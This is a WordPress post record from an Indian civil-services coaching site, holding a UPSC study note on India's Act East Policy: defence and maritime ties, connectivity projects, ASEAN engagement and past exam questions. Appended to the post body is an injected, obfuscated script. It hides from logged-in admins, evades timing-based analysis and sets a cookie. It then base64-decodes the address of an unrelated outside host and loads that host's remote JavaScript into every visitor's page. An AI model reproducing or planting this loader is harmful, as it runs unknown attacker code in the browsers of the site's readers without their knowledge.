{"id":1477,"date":"2024-09-06T10:58:57","date_gmt":"2024-09-06T10:58:57","guid":{"rendered":"https:\/\/iasquest.com\/?p=1477"},"modified":"2026-02-11T19:09:50","modified_gmt":"2026-02-11T19:09:50","slug":"paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-33","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-33\/","title":{"rendered":"PAPER III General Studies- II: Governance, Constitution, Polity, Social Justice and International relations"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Effect of Policies and Politics of Developed and Developing Countries on India\u2019s interests, Indian Diaspora.<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>In News:PM Modi&#8217;s visit to Brunei and Singapore: What is India&#8217;s Act East Policy?<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>India\u2019s Act East Policy represents a strategic shift towards strengthening economic, strategic, and diplomatic ties with countries in Southeast Asia and the wider Indo-Pacific region.Comment.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">India&#8217;s Act East Policy, initiated in 2014, is an extension of the Look East Policy which marks a significant strategic shift with an upgraded focus on deepening ties with countries in Southeast Asia and the wider Indo-Pacific region.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Strategic Partnerships<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Defence Cooperation:<\/strong> India has strengthened defence cooperation with countries in the region, including joint military exercises and arms sales.<\/li>\n\n\n\n<li><strong>Maritime Security:<\/strong> India has been actively involved in maritime security initiatives in the Indo-Pacific, working with regional partners to address piracy and illegal fishing<strong>. India\u2019s presence in the Malacca Strait,<\/strong> one of the world\u2019s busiest shipping lanes, has also<strong> allowed it to influence maritime activities in the Indo-Pacific region<\/strong>.<\/li>\n\n\n\n<li><strong>Rising China:<\/strong> The increasing influence of China in the region has prompted India to seek to counterbalance its growing power.<\/li>\n\n\n\n<li><strong>Indo-Pacific Concept:<\/strong> India&#8217;s embrace of the Indo-Pacific concept, which emphasises connectivity, cooperation, and security in the region, aligns with its broader strategic interests.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Economic Opportunities<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Growing Markets:<\/strong> Southeast Asia represents a lucrative market for Indian goods and services, offering opportunities for economic growth and diversification.<\/li>\n\n\n\n<li><strong>Connectivity:<\/strong> India has been investing in infrastructure projects, to enhance connectivity with Southeast Asia.One of the major goals include strengthening connectivity between India\u2019s Northeastern states and neighbouring countries, fostering closer socio-economic ties.<strong>Example:India-Myanmar-Thailand Trilateral Highway Project,Agartala-Akhaura Rail Link.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Diplomatic Engagement:&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>T<\/strong>he policy emphasises <strong>deepening diplomatic ties <\/strong>through high-level visits, multilateral engagements, and strategic partnerships. Recent <strong>PM\u2019s visits to Brunei and Singapore<\/strong> are in this direction.<\/li>\n\n\n\n<li>India has sought to<strong> enhance its relationships <\/strong>with key regional players through platforms like the Association of Southeast Asian Nations (<strong>ASEAN<\/strong>) and the East Asia Summit (<strong>EAS<\/strong>). This diplomatic engagement helps India position itself as a key player in regional forums and dialogues.<\/li>\n\n\n\n<li><strong>Shared Heritage:<\/strong> India and many Southeast Asian countries share historical and cultural ties, which provide a strong foundation for cooperation.<\/li>\n\n\n\n<li><strong>People-to-People Exchanges:<\/strong> India has been promoting people-to-people exchanges to foster understanding and goodwill.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The Act East Policy reflects India&#8217;s strategic pivot towards a region that is increasingly important in global geopolitics and economic dynamics.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>PYQ :<\/strong> Indian Diaspora has an important role to play in South-East Asian countries\u2019 economy and society. Appraise the role of Indian Diaspora in South- East Asia in this context.2017Evaluate the economic and strategic dimensions of India\u2019s Look East Policy in the context of the post-Cold War international scenario.2016<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.business-standard.com\/external-affairs-defence-security\/news\/pm-modi-s-visit-to-brunei-and-singapore-what-is-india-s-act-east-policy-124090500916_1.html\" target=\"_blank\" rel=\"noopener\">https:\/\/www.business-standard.com\/external-affairs-defence-security\/news\/pm-modi-s-visit-to-brunei-and-singapore-what-is-india-s-act-east-policy-124090500916_1.html<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Effect of Policies and Politics of Developed and Developing Countries on India\u2019s interests, Indian Diaspora. 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